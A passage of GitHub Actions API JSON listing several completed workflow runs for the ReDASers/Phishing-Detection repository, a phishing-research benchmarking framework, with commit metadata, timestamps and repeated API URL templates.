ssues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292306518,"node_id":"MDExOldvcmtmbG93UnVuMjkyMzA2NTE4","head_branch":"x_spam_flag","head_sha":"183be5b7aeeadf7ba292dd921731a660cab9af2b","run_number":283,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1299350178,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjk5MzUwMTc4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306518","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292306518","pull_requests":[],"created_at":"2020-10-06T22:21:44Z","updated_at":"2020-10-06T22:24:15Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306518/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306518/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1299350178","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306518/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306518/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306518/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"183be5b7aeeadf7ba292dd921731a660cab9af2b","tree_id":"b38c72e0cda01bfa7771810acb5af9e9f76b9b48","message":"Lint","timestamp":"2020-10-06T22:21:35Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292221714,"node_id":"MDExOldvcmtmbG93UnVuMjkyMjIxNzE0","head_branch":"x_spam_flag","head_sha":"8b25ed8d9153ee37a4db0c2038524b337457d65f","run_number":282,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1299089101,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjk5MDg5MTAx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292221714","pull_requests":[],"created_at":"2020-10-06T21:17:45Z","updated_at":"2020-10-06T21:20:22Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1299089101","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"8b25ed8d9153ee37a4db0c2038524b337457d65f","tree_id":"6e0244b6a82f48e9b48a2e16b763a7b8988355d3","message":"Additional Email Unit-tests","timestamp":"2020-10-06T19:37:31Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287515889,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTE1ODg5","head_branch":"API_Flatten","head_sha":"de31734a58e996c2425dc15130a929e0a7d14d46","run_number":281,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1285627062,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjI3MDYy","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287515889","pull_requests":[],"created_at":"2020-10-04T06:36:24Z","updated_at":"2020-10-04T06:39:08Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285627062","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515889/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"de31734a58e996c2425dc15130a929e0a7d14d46","tree_id":"58681a06ba4658b65d57a9d9fb2584c034374691","message":"Documentation","timestamp":"2020-10-04T06:36:15Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDA